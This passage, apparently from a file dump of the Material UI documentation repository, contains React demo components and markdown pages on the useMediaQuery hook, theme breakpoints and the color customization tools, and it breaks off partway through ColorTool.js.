    "content": "<span>{`(min-width:600px) matches: ${matches}`}</span>"
  },
  {
    "path": "docs/data/material/components/use-media-query/ThemeHelper.js",
    "content": "import { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\nfunction MyComponent() {\n  const theme = useTheme();\n  const matches = useMediaQuery(theme.breakpoints.up('sm'));\n\n  return <span>{`theme.breakpoints.up('sm') matches: ${matches}`}</span>;\n}\n\nconst theme = createTheme();\n\nexport default function ThemeHelper() {\n  return (\n    <ThemeProvider theme={theme}>\n      <MyComponent />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/use-media-query/ThemeHelper.tsx",
    "content": "import { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\nfunction MyComponent() {\n  const theme = useTheme();\n  const matches = useMediaQuery(theme.breakpoints.up('sm'));\n\n  return <span>{`theme.breakpoints.up('sm') matches: ${matches}`}</span>;\n}\n\nconst theme = createTheme();\n\nexport default function ThemeHelper() {\n  return (\n    <ThemeProvider theme={theme}>\n      <MyComponent />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/use-media-query/ThemeHelper.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <MyComponent />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/components/use-media-query/UseWidth.js",
    "content": "import { ThemeProvider, useTheme, createTheme } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\n/**\n * Be careful using this hook. It only works because the number of\n * breakpoints in theme is static. It will break once you change the number of\n * breakpoints. See https://legacy.reactjs.org/docs/hooks-rules.html#only-call-hooks-at-the-top-level\n */\nfunction useWidth() {\n  const theme = useTheme();\n  const keys = [...theme.breakpoints.keys].reverse();\n  return (\n    keys.reduce((output, key) => {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- useMediaQuery is called inside callback\n      // eslint-disable-next-line react-hooks/rules-of-hooks\n      const matches = useMediaQuery(theme.breakpoints.up(key));\n      return !output && matches ? key : output;\n    }, null) || 'xs'\n  );\n}\n\nfunction MyComponent() {\n  const width = useWidth();\n  return <span>{`width: ${width}`}</span>;\n}\n\nconst theme = createTheme();\n\nexport default function UseWidth() {\n  return (\n    <ThemeProvider theme={theme}>\n      <MyComponent />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/use-media-query/UseWidth.tsx",
    "content": "import {\n  Breakpoint,\n  Theme,\n  ThemeProvider,\n  useTheme,\n  createTheme,\n} from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\ntype BreakpointOrNull = Breakpoint | null;\n\n/**\n * Be careful using this hook. It only works because the number of\n * breakpoints in theme is static. It will break once you change the number of\n * breakpoints. See https://legacy.reactjs.org/docs/hooks-rules.html#only-call-hooks-at-the-top-level\n */\nfunction useWidth() {\n  const theme: Theme = useTheme();\n  const keys: readonly Breakpoint[] = [...theme.breakpoints.keys].reverse();\n  return (\n    keys.reduce((output: BreakpointOrNull, key: Breakpoint) => {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- useMediaQuery is called inside callback\n      // eslint-disable-next-line react-hooks/rules-of-hooks\n      const matches = useMediaQuery(theme.breakpoints.up(key));\n      return !output && matches ? key : output;\n    }, null) || 'xs'\n  );\n}\n\nfunction MyComponent() {\n  const width = useWidth();\n  return <span>{`width: ${width}`}</span>;\n}\n\nconst theme = createTheme();\n\nexport default function UseWidth() {\n  return (\n    <ThemeProvider theme={theme}>\n      <MyComponent />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/use-media-query/UseWidth.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <MyComponent />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/components/use-media-query/use-media-query.md",
    "content": "---\nproductId: material-ui\ntitle: Media queries in React for responsive design\ngithubLabel: 'hook: useMediaQuery'\ngithubSource: packages/mui-material/src/useMediaQuery\n---\n\n# useMediaQuery\n\n<p class=\"description\">This React hook listens for matches to a CSS media query. It allows the rendering of components based on whether the query matches or not.</p>\n\nSome of the key features:\n\n- ⚛️ It has an idiomatic React API.\n- 🚀 It's performant, it observes the document to detect when its media queries change, instead of polling the values periodically.\n- 📦 [1.1 kB gzipped](https://bundlephobia.com/package/@mui/material).\n- 🤖 It supports server-side rendering.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Basic media query\n\nYou should provide a media query to the first argument of the hook.\nThe media query string can be any valid CSS media query, for example [`'(prefers-color-scheme: dark)'`](/material-ui/customization/dark-mode/#system-preference).\n\n{{\"demo\": \"SimpleMediaQuery.js\", \"defaultCodeOpen\": true}}\n\n:::warning\nUsing the query `'print'` to modify a document for printing is not supported, as changes made in re-rendering may not be accurately reflected.\nYou can use the `sx` prop's `displayPrint` field for this purpose instead.\nSee [MUI System—Display in print](/system/display/#display-in-print) for more details.\n:::\n\n## Using breakpoint helpers\n\nYou can use Material UI's [breakpoint helpers](/material-ui/customization/breakpoints/) as follows:\n\n```jsx\nimport { useTheme } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\nfunction MyComponent() {\n  const theme = useTheme();\n  const matches = useMediaQuery(theme.breakpoints.up('sm'));\n\n  return <span>{`theme.breakpoints.up('sm') matches: ${matches}`}</span>;\n}\n```\n\n{{\"demo\": \"ThemeHelper.js\", \"defaultCodeOpen\": false}}\n\nAlternatively, you can use a callback function, accepting the theme as a first argument:\n\n```jsx\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\nfunction MyComponent() {\n  const matches = useMediaQuery((theme) => theme.breakpoints.up('sm'));\n\n  return <span>{`theme.breakpoints.up('sm') matches: ${matches}`}</span>;\n}\n```\n\n⚠️ There is **no default** theme support, you have to inject it in a parent theme provider.\n\n## Using JavaScript syntax\n\nYou can use [json2mq](https://github.com/akiran/json2mq) to generate media query string from a JavaScript object.\n\n{{\"demo\": \"JavaScriptMedia.js\", \"defaultCodeOpen\": true}}\n\n## Testing\n\nYou need an implementation of [matchMedia](https://developer.mozilla.org/en-US/docs/Web/API/Window/matchMedia) in your test environment.\n\nFor instance, [jsdom doesn't support it yet](https://jestjs.io/docs/manual-mocks#mocking-methods-which-are-not-implemented-in-jsdom). You should polyfill it.\nUsing [css-mediaquery](https://github.com/ericf/css-mediaquery) to emulate it is recommended.\n\n```js\nimport mediaQuery from 'css-mediaquery';\n\nfunction createMatchMedia(width) {\n  return (query) => ({\n    matches: mediaQuery.match(query, {\n      width,\n    }),\n    addEventListener: () => {},\n    removeEventListener: () => {},\n  });\n}\n\ndescribe('MyTests', () => {\n  beforeAll(() => {\n    window.matchMedia = createMatchMedia(window.innerWidth);\n  });\n});\n```\n\n## Client-side only rendering\n\nTo perform the server-side hydration, the hook needs to render twice.\nA first time with `defaultMatches`, the value of the server, and a second time with the resolved value.\nThis double pass rendering cycle comes with a drawback: it's slower.\nYou can set the `noSsr` option to `true` if you use the returned value **only** client-side.\n\n```js\nconst matches = useMediaQuery('(min-width:600px)', { noSsr: true });\n```\n\nor it can turn it on globally with the theme:\n\n```js\nconst theme = createTheme({\n  components: {\n    MuiUseMediaQuery: {\n      defaultProps: {\n        noSsr: true,\n      },\n    },\n  },\n});\n```\n\n:::info\nNote that `noSsr` has no effects when using the `createRoot()` API (the client-side only API introduced in React 18).\n:::\n\n## Server-side rendering\n\n:::warning\nServer-side rendering and client-side media queries are fundamentally at odds.\nBe aware of the tradeoff. The support can only be partial.\n:::\n\nTry relying on client-side CSS media queries first.\nFor instance, you could use:\n\n- [`<Box display>`](/system/display/#hiding-elements)\n- [`themes.breakpoints.up(x)`](/material-ui/customization/breakpoints/#css-media-queries)\n- or [`sx prop`](/system/getting-started/the-sx-prop/)\n\nIf none of the above alternatives are an option, you can proceed reading this section of the documentation.\n\nFirst, you need to guess the characteristics of the client request, from the server.\nYou have the choice between using:\n\n- **User agent**. Parse the user agent string of the client to extract information. Using [ua-parser-js](https://github.com/faisalman/ua-parser-js) to parse the user agent is recommended.\n- **Client hints**. Read the hints the client is sending to the server. Be aware that this feature is [not supported everywhere](https://caniuse.com/#search=client%20hint).\n\nFinally, you need to provide an implementation of [matchMedia](https://developer.mozilla.org/en-US/docs/Web/API/Window/matchMedia) to the `useMediaQuery` with the previously guessed characteristics.\nUsing [css-mediaquery](https://github.com/ericf/css-mediaquery) to emulate matchMedia is recommended.\n\nFor instance on the server-side:\n\n```js\nimport * as ReactDOMServer from 'react-dom/server';\nimport parser from 'ua-parser-js';\nimport mediaQuery from 'css-mediaquery';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\nfunction handleRender(req, res) {\n  const deviceType = parser(req.headers['user-agent']).device.type || 'desktop';\n  const ssrMatchMedia = (query) => ({\n    matches: mediaQuery.match(query, {\n      // The estimated CSS width of the browser.\n      width: deviceType === 'mobile' ? '0px' : '1024px',\n    }),\n  });\n\n  const theme = createTheme({\n    components: {\n      // Change the default options of useMediaQuery\n      MuiUseMediaQuery: {\n        defaultProps: {\n          ssrMatchMedia,\n        },\n      },\n    },\n  });\n\n  const html = ReactDOMServer.renderToString(\n    <ThemeProvider theme={theme}>\n      <App />\n    </ThemeProvider>,\n  );\n\n  // …\n}\n```\n\n{{\"demo\": \"ServerSide.js\", \"defaultCodeOpen\": false}}\n\nMake sure you provide the same custom match media implementation to the client-side to guarantee a hydration match.\n\n## Migrating from `withWidth()`\n\nThe `withWidth()` higher-order component injects the screen width of the page.\nYou can reproduce the same behavior with a `useWidth` hook:\n\n{{\"demo\": \"UseWidth.js\"}}\n\n## API\n\n### `useMediaQuery(query, [options]) => matches`\n\n#### Arguments\n\n1. `query` (_string_ | _func_): A string representing the media query to handle or a callback function accepting the theme (in the context) that returns a string.\n2. `options` (_object_ [optional]):\n\n- `options.defaultMatches` (_bool_ [optional]):\n  As `window.matchMedia()` is unavailable on the server,\n  it returns a default matches during the first mount. The default value is `false`.\n- `options.matchMedia` (_func_ [optional]): You can provide your own implementation of _matchMedia_. This can be used for handling an iframe content window.\n- `options.noSsr` (_bool_ [optional]): Defaults to `false`.\n  To perform the server-side hydration, the hook needs to render twice.\n  A first time with `defaultMatches`, the value of the server, and a second time with the resolved value.\n  This double pass rendering cycle comes with a drawback: it's slower.\n  You can set this option to `true` if you use the returned value **only** client-side.\n- `options.ssrMatchMedia` (_func_ [optional]): You can provide your own implementation of _matchMedia_, it's used when rendering server-side.\n\nNote: You can change the default options using the [`default props`](/material-ui/customization/theme-components/#theme-default-props) feature of the theme with the `MuiUseMediaQuery` key.\n\n#### Returns\n\n`matches`: Matches is `true` if the document currently matches the media query and `false` when it does not.\n\n#### Examples\n\n```jsx\nimport * as React from 'react';\nimport useMediaQuery from '@mui/material/useMediaQuery';\n\nexport default function SimpleMediaQuery() {\n  const matches = useMediaQuery('(min-width:600px)');\n\n  return <span>{`(min-width:600px) matches: ${matches}`}</span>;\n}\n```\n"
  },
  {
    "path": "docs/data/material/customization/breakpoints/MediaQuery.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\nimport { red, green, blue } from '@mui/material/colors';\n\nconst Root = styled('div')(({ theme }) => ({\n  padding: theme.spacing(1),\n  [theme.breakpoints.down('md')]: {\n    backgroundColor: red[500],\n  },\n  [theme.breakpoints.up('md')]: {\n    backgroundColor: blue[500],\n  },\n  [theme.breakpoints.up('lg')]: {\n    backgroundColor: green[500],\n  },\n}));\n\nexport default function MediaQuery() {\n  return (\n    <Root>\n      <Typography>down(md): red</Typography>\n      <Typography>up(md): blue</Typography>\n      <Typography>up(lg): green</Typography>\n    </Root>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/breakpoints/MediaQuery.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\nimport { red, green, blue } from '@mui/material/colors';\n\nconst Root = styled('div')(({ theme }) => ({\n  padding: theme.spacing(1),\n  [theme.breakpoints.down('md')]: {\n    backgroundColor: red[500],\n  },\n  [theme.breakpoints.up('md')]: {\n    backgroundColor: blue[500],\n  },\n  [theme.breakpoints.up('lg')]: {\n    backgroundColor: green[500],\n  },\n}));\n\nexport default function MediaQuery() {\n  return (\n    <Root>\n      <Typography>down(md): red</Typography>\n      <Typography>up(md): blue</Typography>\n      <Typography>up(lg): green</Typography>\n    </Root>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/breakpoints/MediaQuery.tsx.preview",
    "content": "<Root>\n  <Typography>down(md): red</Typography>\n  <Typography>up(md): blue</Typography>\n  <Typography>up(lg): green</Typography>\n</Root>"
  },
  {
    "path": "docs/data/material/customization/breakpoints/breakpoints.md",
    "content": "# Breakpoints\n\n<p class=\"description\">API that enables the use of breakpoints in a wide variety of contexts.</p>\n\nFor optimal user experience, Material Design interfaces need to be able to adapt their layout at various breakpoints.\nMaterial UI uses a **simplified** implementation of the original [specification](https://m2.material.io/design/layout/responsive-layout-grid.html#breakpoints).\n\nThe breakpoints are used internally in various components to make them responsive,\nbut you can also take advantage of them\nfor controlling the layout of your application through the [Grid](/material-ui/react-grid/) component.\n\n## Default breakpoints\n\nEach breakpoint (a key) matches with a _fixed_ screen width (a value):\n\n<!-- Keep in sync with packages/mui-system/src/createTheme/createBreakpoints.d.ts -->\n\n- **xs,** extra-small: 0px\n- **sm,** small: 600px\n- **md,** medium: 900px\n- **lg,** large: 1200px\n- **xl,** extra-large: 1536px\n\nThese values can be [customized](#custom-breakpoints).\n\n## CSS Media Queries\n\nCSS media queries are the idiomatic approach to make your UI responsive.\nThe theme provides five styles helpers to do so:\n\n- [theme.breakpoints.up(key)](#theme-breakpoints-up-key-media-query)\n- [theme.breakpoints.down(key)](#theme-breakpoints-down-key-media-query)\n- [theme.breakpoints.only(key)](#theme-breakpoints-only-key-media-query)\n- [theme.breakpoints.not(key)](#theme-breakpoints-not-key-media-query)\n- [theme.breakpoints.between(start, end)](#theme-breakpoints-between-start-end-media-query)\n\nIn the following demo, we change the background color (red, blue & green) based on the screen width.\n\n```jsx\nconst styles = (theme) => ({\n  root: {\n    padding: theme.spacing(1),\n    [theme.breakpoints.down('md')]: {\n      backgroundColor: theme.palette.secondary.main,\n    },\n    [theme.breakpoints.up('md')]: {\n      backgroundColor: theme.palette.primary.main,\n    },\n    [theme.breakpoints.up('lg')]: {\n      backgroundColor: green[500],\n    },\n  },\n});\n```\n\n{{\"demo\": \"MediaQuery.js\"}}\n\n## JavaScript Media Queries\n\nSometimes, using CSS isn't enough.\nYou might want to change the React rendering tree based on the breakpoint value, in JavaScript.\n\n### useMediaQuery hook\n\nYou can learn more on the [useMediaQuery](/material-ui/react-use-media-query/) page.\n\n## Custom breakpoints\n\nYou define your project's breakpoints in the `theme.breakpoints` section of your theme.\n\n<!-- Keep in sync with packages/mui-system/src/createTheme/createBreakpoints.d.ts -->\n\n- [`theme.breakpoints.values`](/material-ui/customization/default-theme/?expand-path=$.breakpoints.values): Default to the [above values](#default-breakpoints). The keys are your screen names, and the values are the min-width where that breakpoint should start.\n- `theme.breakpoints.unit`: Default to `'px'`. The unit used for the breakpoint's values.\n- `theme.breakpoints.step`: Default to `5`. The increment divided by 100 used to implement exclusive breakpoints.\n  For example, `{ step: 5 }` means that `down(500)` will result in `'(max-width: 499.95px)'`.\n\nIf you change the default breakpoints's values, you need to provide them all:\n\n```jsx\nconst theme = createTheme({\n  breakpoints: {\n    values: {\n      xs: 0,\n      sm: 600,\n      md: 900,\n      lg: 1200,\n      xl: 1536,\n    },\n  },\n});\n```\n\nFeel free to have as few or as many breakpoints as you want, naming them in whatever way you'd prefer for your project.\n\n```js\nconst theme = createTheme({\n  breakpoints: {\n    values: {\n      mobile: 0,\n      tablet: 640,\n      laptop: 1024,\n      desktop: 1200,\n    },\n  },\n});\n```\n\nIf you are using TypeScript, you would also need to use [module augmentation](/material-ui/guides/typescript/#customization-of-theme) for the theme to accept the above values.\n\n<!-- Tested with packages/mui-material/test/typescript/breakpointsOverrides.augmentation.tsconfig.json -->\n\n```ts\ndeclare module '@mui/material/styles' {\n  interface BreakpointOverrides {\n    xs: false; // removes the `xs` breakpoint\n    sm: false;\n    md: false;\n    lg: false;\n    xl: false;\n    mobile: true; // adds the `mobile` breakpoint\n    tablet: true;\n    laptop: true;\n    desktop: true;\n  }\n}\n```\n\n## API\n\n### `theme.breakpoints.up(key) => media query`\n\n<!-- Keep in sync with packages/mui-system/src/createTheme/createBreakpoints.d.ts -->\n\n#### Arguments\n\n1. `key` (_string_ | _number_): A breakpoint key (`xs`, `sm`, etc.) or a screen width number in px.\n\n#### Returns\n\n`media query`: A media query string ready to be used with most styling solutions, which matches screen widths greater than the screen size given by the breakpoint key (inclusive).\n\n#### Examples\n\n```js\nconst styles = (theme) => ({\n  root: {\n    backgroundColor: 'blue',\n    // Match [md, ∞)\n    //       [900px, ∞)\n    [theme.breakpoints.up('md')]: {\n      backgroundColor: 'red',\n    },\n  },\n});\n```\n\n### `theme.breakpoints.down(key) => media query`\n\n<!-- Keep in sync with packages/mui-system/src/createTheme/createBreakpoints.d.ts -->\n\n#### Arguments\n\n1. `key` (_string_ | _number_): A breakpoint key (`xs`, `sm`, etc.) or a screen width number in px.\n\n#### Returns\n\n`media query`: A media query string ready to be used with most styling solutions, which matches screen widths less than the screen size given by the breakpoint key (exclusive).\n\n#### Examples\n\n```js\nconst styles = (theme) => ({\n  root: {\n    backgroundColor: 'blue',\n    // Match [0, md)\n    //       [0, 900px)\n    [theme.breakpoints.down('md')]: {\n      backgroundColor: 'red',\n    },\n  },\n});\n```\n\n### `theme.breakpoints.only(key) => media query`\n\n<!-- Keep in sync with packages/mui-system/src/createTheme/createBreakpoints.d.ts -->\n\n#### Arguments\n\n1. `key` (_string_): A breakpoint key (`xs`, `sm`, etc.).\n\n#### Returns\n\n`media query`: A media query string ready to be used with most styling solutions, which matches screen widths starting from the screen size given by the breakpoint key (inclusive) and stopping at the screen size given by the next breakpoint key (exclusive).\n\n#### Examples\n\n```js\nconst styles = (theme) => ({\n  root: {\n    backgroundColor: 'blue',\n    // Match [md, md + 1)\n    //       [md, lg)\n    //       [900px, 1200px)\n    [theme.breakpoints.only('md')]: {\n      backgroundColor: 'red',\n    },\n  },\n});\n```\n\n### `theme.breakpoints.not(key) => media query`\n\n<!-- Keep in sync with packages/mui-system/src/createTheme/createBreakpoints.d.ts -->\n\n#### Arguments\n\n1. `key` (_string_): A breakpoint key (`xs`, `sm`, etc.).\n\n#### Returns\n\n`media query`: A media query string ready to be used with most styling solutions, which matches screen widths stopping at the screen size given by the breakpoint key (exclusive) and starting at the screen size given by the next breakpoint key (inclusive).\n\n#### Examples\n\n```js\nconst styles = (theme) => ({\n  root: {\n    backgroundColor: 'blue',\n    // Match [xs, md) and [md + 1, ∞)\n    //       [xs, md) and [lg, ∞)\n    //       [0px, 900px) and [1200px, ∞)\n    [theme.breakpoints.not('md')]: {\n      backgroundColor: 'red',\n    },\n  },\n});\n```\n\n### `theme.breakpoints.between(start, end) => media query`\n\n<!-- Keep in sync with packages/mui-system/src/createTheme/createBreakpoints.d.ts -->\n\n#### Arguments\n\n1. `start` (_string_): A breakpoint key (`xs`, `sm`, etc.) or a screen width number in px.\n2. `end` (_string_): A breakpoint key (`xs`, `sm`, etc.) or a screen width number in px.\n\n#### Returns\n\n`media query`: A media query string ready to be used with most styling solutions, which matches screen widths greater than the screen size given by the breakpoint key in the first argument (inclusive) and less than the screen size given by the breakpoint key in the second argument (exclusive).\n\n#### Examples\n\n```js\nconst styles = (theme) => ({\n  root: {\n    backgroundColor: 'blue',\n    // Match [sm, md)\n    //       [600px, 900px)\n    [theme.breakpoints.between('sm', 'md')]: {\n      backgroundColor: 'red',\n    },\n  },\n});\n```\n\n## Default values\n\nYou can explore the default values of the breakpoints using [the theme explorer](/material-ui/customization/default-theme/?expand-path=$.breakpoints) or by opening the dev tools console on this page (`window.theme.breakpoints`).\n"
  },
  {
    "path": "docs/data/material/customization/color/Color.js",
    "content": "import Box from '@mui/material/Box';\nimport { styled, useTheme } from '@mui/material/styles';\nimport * as colors from '@mui/material/colors';\n\nconst mainColors = [\n  'Red',\n  'Pink',\n  'Purple',\n  'Deep Purple',\n  'Indigo',\n  'Blue',\n  'Light Blue',\n  'Cyan',\n  'Teal',\n  'Green',\n  'Light Green',\n  'Lime',\n  'Yellow',\n  'Amber',\n  'Orange',\n  'Deep Orange',\n  'Brown',\n  'Grey',\n  'Blue Grey',\n];\n\nconst mainPalette = [50, 100, 200, 300, 400, 500, 600, 700, 800, 900];\nconst altPalette = ['A100', 'A200', 'A400', 'A700'];\n\nconst ColorGroup = styled('ul', { name: 'ColorGroup' })(({ theme }) => ({\n  padding: 0,\n  margin: theme.spacing(0, 2, 2, 0),\n  flexGrow: 1,\n  [theme.breakpoints.up('sm')]: {\n    flexGrow: 0,\n    width: '30%',\n  },\n}));\n\nconst ColorValue = styled('span', { name: 'ColorValue' })(({ theme }) => ({\n  ...theme.typography.caption,\n  color: 'inherit',\n  fontWeight: 'inherit',\n}));\n\nconst ColorBlock = styled('li', { name: 'ColorBlock' })(\n  ({ theme }) => theme.typography.body2,\n);\n\nfunction getColorBlock(theme, colorName, colorValue, colorTitle) {\n  const bgColor = colors[colorName][colorValue];\n  const fgColor = theme.palette.getContrastText(bgColor);\n\n  let blockTitle;\n  if (colorTitle) {\n    blockTitle = <Box sx={{ mb: '60px' }}>{colorName}</Box>;\n  }\n\n  let rowStyle = {\n    backgroundColor: bgColor,\n    color: fgColor,\n    listStyle: 'none',\n    padding: 15,\n  };\n\n  if (colorValue.toString().startsWith('A1')) {\n    rowStyle = {\n      ...rowStyle,\n      marginTop: 4,\n    };\n  }\n\n  return (\n    <ColorBlock style={rowStyle} key={colorValue}>\n      {blockTitle}\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'space-between',\n          alignItems: 'center',\n        }}\n      >\n        <span>{colorValue}</span>\n        <ColorValue>{bgColor}</ColorValue>\n      </Box>\n    </ColorBlock>\n  );\n}\n\nfunction getColorGroup(options) {\n  const { theme, color, showAltPalette } = options;\n  const cssColor = color\n    .replace(' ', '')\n    .replace(color.charAt(0), color.charAt(0).toLowerCase());\n  let colorsList = [];\n  colorsList = mainPalette.map((mainValue) =>\n    getColorBlock(theme, cssColor, mainValue),\n  );\n\n  if (showAltPalette) {\n    altPalette.forEach((altValue) => {\n      colorsList.push(getColorBlock(theme, cssColor, altValue));\n    });\n  }\n\n  return (\n    <ColorGroup key={cssColor}>\n      {getColorBlock(theme, cssColor, 500, true)}\n      <Box sx={{ height: 4, listStyle: 'none' }} component=\"li\" role=\"separator\" />\n      {colorsList}\n    </ColorGroup>\n  );\n}\n\nfunction Color() {\n  const theme = useTheme();\n\n  return (\n    <Box sx={{ display: 'flex', flexWrap: 'wrap' }}>\n      {mainColors.map((mainColor) =>\n        getColorGroup({\n          theme,\n          color: mainColor,\n          showAltPalette: true,\n        }),\n      )}\n    </Box>\n  );\n}\n\nexport default Color;\n"
  },
  {
    "path": "docs/data/material/customization/color/ColorDemo.js",
    "content": "import PropTypes from 'prop-types';\nimport { useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Fab from '@mui/material/Fab';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport Typography from '@mui/material/Typography';\nimport AddIcon from '@mui/icons-material/Add';\n\nfunction ColorDemo(props) {\n  const { data } = props;\n  const theme = useTheme();\n  const primary = theme.palette.augmentColor({\n    color: {\n      main: data.primary,\n      output:\n        data.primaryShade === 4\n          ? `${data.primaryHue}`\n          : `{\n      main: '${data.primary}',\n    }`,\n    },\n  });\n  const secondary = theme.palette.augmentColor({\n    color: {\n      main: data.secondary,\n      output:\n        data.secondaryShade === 11\n          ? `${data.secondaryHue}`\n          : `{\n      main: '${data.secondary}',\n    }`,\n    },\n  });\n\n  return (\n    <Box sx={{ position: 'relative', overflow: 'hidden' }}>\n      <Box sx={{ position: 'relative', height: 390, bgcolor: 'background.paper' }}>\n        <Box\n          sx={{ width: '100%', height: 24 }}\n          style={{ backgroundColor: primary.dark }}\n        />\n        <AppBar position=\"static\" style={{ backgroundColor: primary.main }}>\n          <Toolbar style={{ color: primary.contrastText }}>\n            <IconButton\n              edge=\"start\"\n              sx={{ mr: '20px' }}\n              color=\"inherit\"\n              aria-label=\"menu\"\n            >\n              <MenuIcon />\n            </IconButton>\n            <Typography\n              component=\"div\"\n              variant=\"h6\"\n              sx={{\n                color: 'inherit',\n              }}\n            >\n              Color\n            </Typography>\n          </Toolbar>\n        </AppBar>\n        <Box component=\"pre\" sx={{ m: 2, fontSize: 16, overflowX: 'auto' }}>\n          {`{\n  palette: {\n    primary: ${primary.output},\n    secondary: ${secondary.output},\n  },\n}`}\n        </Box>\n        <Fab\n          sx={{\n            position: 'absolute',\n            bottom: theme.spacing(2),\n            right: theme.spacing(2),\n          }}\n          style={{ backgroundColor: secondary.main }}\n          aria-label=\"add\"\n        >\n          <AddIcon htmlColor={secondary.contrastText} />\n        </Fab>\n      </Box>\n    </Box>\n  );\n}\n\nColorDemo.propTypes = {\n  data: PropTypes.object.isRequired,\n};\n\nexport default ColorDemo;\n"
  },
  {
    "path": "docs/data/material/customization/color/ColorTool.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { rgbToHex, useTheme } from '@mui/material/styles';\nimport * as colors from '@mui/material/colors';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Input from '@mui/material/Input';\nimport Radio from '@mui/material/Radio';\nimport Tooltip from '@mui/material/Tooltip';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport CheckIcon from '@mui/icons-material/Check';\nimport Slider from '@mui/material/Slider';\nimport { capitalize } from '@mui/material/utils';\nimport { resetDocsColor, setDocsColors } from '@mui/docs/branding';\nimport ColorDemo from './ColorDemo';\n\nconst defaults = {\n  primary: '#2196f3',\n  secondary: '#f50057',\n};\nconst hues = [\n  'red',\n  'pink',\n  'purple',\n  'deepPurple',\n  'indigo',\n  'blue',\n  'lightBlue',\n  'cyan',\n  'teal',\n  'green',\n  'lightGreen',\n  'lime',\n  'yellow',\n  'amber',\n  'orange',\n  'deepOrange',\n];\n\nconst shades = [\n  900,\n  800,\n  700,\n  600,\n  500,\n  400,\n  300,\n  200,\n  100,\n  50,\n  'A700',\n  'A400',\n  'A200',\n  'A100',\n];\n\nconst TooltipRadio = React.forwardRef(function TooltipRadio(props, ref) {\n  const {\n    'aria-labelledby': ariaLabelledBy,\n    'aria-label': ariaLabel,\n    inputProps,\n    ...other\n  } = props;\n\n  return (\n    <Radio\n      ref={ref}\n      {...other}\n      inputProps={{\n        ...inputProps,\n        'aria-labelledby': ariaLabelledBy,\n        'aria-label': ariaLabel,\n      }}\n    />\n  );\n});\n\nTooltipRadio.propTypes = {\n  // possibly opaque identifier\n  'aria-label': PropTypes.oneOfType([PropTypes.string, PropTypes.object]),\n  'aria-labelledby': PropTypes.oneOfType([PropTypes.string, PropTypes.object]),\n  inputProps: PropTypes.object,\n};\n\nfunction ColorTool() {\n  const theme = useTheme();\n  const [state, setState] = React.useState({\n    primary: defaults.primary,\n    secondary: defaults.secondary,\n    primaryInput: defaults.primary,\n    secondaryInput: defaults.secondary,\n    primaryHue: 'blue',\n    secondaryHue: 'pink',\n    primaryShade: 4,\n    secondaryShade: 11,\n  });\n\n  const handleChangeColor = (name) => (event) => {\n    const isRgb = (string) =>\n      /rgb\\([0-9]{1,3}\\s*,\\s*[0-9]{1,3}\\s*,\\s*[0-9]{1,3}\\)/i.test(string);\n\n    const isHex = (string) => /^#?([0-9a-f]{3})$|^#?([0-9a-f]){6}$/i.test(string);\n\n    let {\n      target: { value: color },\n    } = event;\n\n    setState((prevState) => ({\n      ...prevState,\n      [`${name}Input`]: color,\n    }));\n\n    let isValidColor = false;\n\n    if (isRgb(color)) {\n      isValidColor = true;\n    } else if (isHex(color)) {\n      isValidColor = true;\n      if (!color.includes('#')) {\n        color = `#${color}`;\n      }\n    }\n\n    if (isValidColor) {\n      setState((prevState) => ({\n        ...prevState,\n        [name]: color,\n      }));\n    }\n  };\n\n  const handleChangeHue = (name) => (event) => {\n    const hue = event.target.value;\n    const color = colors[hue][shades[state[`${name}Shade`]]];\n\n    setState({\n      ...state,\n      [`${name}Hue`]: hue,\n      [name]: color,\n      [`${name}Input`]: color,\n    });\n  };\n\n  const handleChangeShade = (name) => (event, shade) => {\n    const color = colors[state[`${name}Hue`]][shades[shade]];\n    setState({\n      ...state,\n      [`${name}Shade`]: shade,\n      [name]: color,\n      [`${name}Input`]: color,\n    });\n  };\n\n  const handleChangeDocsColors = () => {\n    const paletteColors = {\n      primary: { ...colors[state.primaryHue], main: state.primary },\n      secondary: { ...colors[state.secondaryHue], main: state.secondary },\n    };\n\n    setDocsColors(paletteColors.primary, paletteColors.secondary);\n\n    document.cookie = `paletteColors=${JSON.stringify(\n      paletteColors,\n    )};path=/;max-age=31536000`;\n  };\n\n  const handleResetDocsColors = () => {\n    resetDocsColor();\n\n    document.cookie = 'paletteColors=;path=/;max-age=0';\n  };\n\n  const colorBar = (color) => {\n    const background = theme.palette.augmentColor({\n      color: {\n        main: color,\n      },\n    });\n\n    return (\n      <Grid container sx={{ mt: 2 }}>\n        {['dark', 'main', 'light'].map((key) => (\n          <Box\n            sx={{\n              width: 64,\n              height: 